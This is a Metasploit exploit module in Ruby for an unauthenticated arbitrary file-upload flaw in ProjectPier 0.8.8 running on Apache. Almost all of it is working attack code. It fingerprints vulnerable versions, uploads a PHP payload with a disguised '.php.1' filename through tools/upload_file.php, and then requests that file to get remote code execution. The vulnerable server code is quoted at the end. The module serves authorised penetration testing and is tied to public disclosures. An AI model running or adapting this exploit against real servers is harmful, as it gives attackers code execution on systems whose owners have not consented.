metasploit-framework/modules/exploits/unix/webapp/projectpier_upload_exec.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
'Name' => "Project Pier Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Project Pier. The application's
uploading tool does not require any authentication, which allows a malicious user
to upload an arbitrary file onto the web server, and then cause remote code
execution by simply requesting it. This module is known to work against Apache
servers due to the way it handles an extension name, but the vulnerability may
not be exploitable on others.
},
'License' => MSF_LICENSE,
'Author' =>
[
'BlackHawk',
'sinn3r'
],
'References' =>
[
['OSVDB', '85881'],
['EDB', '21929'],
['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
],
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "Oct 8 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
], self.class)
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php"),
'vars_get' =>
{
'c' => 'access',
'a' => 'login'
}
})
if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def upload_php(base, fname, php_payload, folder_name)
data = Rex::MIME::Message.new
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
data.add_part('', nil, nil, 'form-data; name="part"')
data.add_part('Submit', nil, nil, 'form-data; name="submit"')
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/tools/upload_file.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
return res.body if res
end
def exec_php(base, body)
# Body example:
# 0 ./upload/test/test.txt-0001
uri = body.scan(/(\/.+$)/).flatten[0]
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
if res and res.code == 404
print_error("#{@peer} - The upload most likely failed")
return
end
handler
end
def exploit
@peer = "#{rhost}:#{rport}"
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
# Don't create a directory on the target since it complicates
# cleaning up after ourselves
#folder_name = Rex::Text.rand_text_alpha(4)
folder_name = ""
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
@clean_files = []
p = get_write_exec_payload(:unlink_self=>true)
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
res = upload_php(base, php_fname, p, folder_name)
if not res
print_error("#{@peer} - No response from server")
return
end
print_status("#{@peer} - Executing '#{php_fname}'...")
exec_php(base, res)
end
end
=begin
Relevant code from tools/upload_file.php
$folder = rtrim( './upload/' . $_POST['folder'] , '/');
mkdir($folder, 0777, true);
$seq = str_pad((int) $_POST["part"],4,"0",STR_PAD_LEFT);
move_uploaded_file($_FILES["file"]["tmp_name"],
$folder . '/' . $_FILES["file"]["name"] . '-' . $seq );
Note that it stores the uploaded files in tools/upload/ not upload/
=end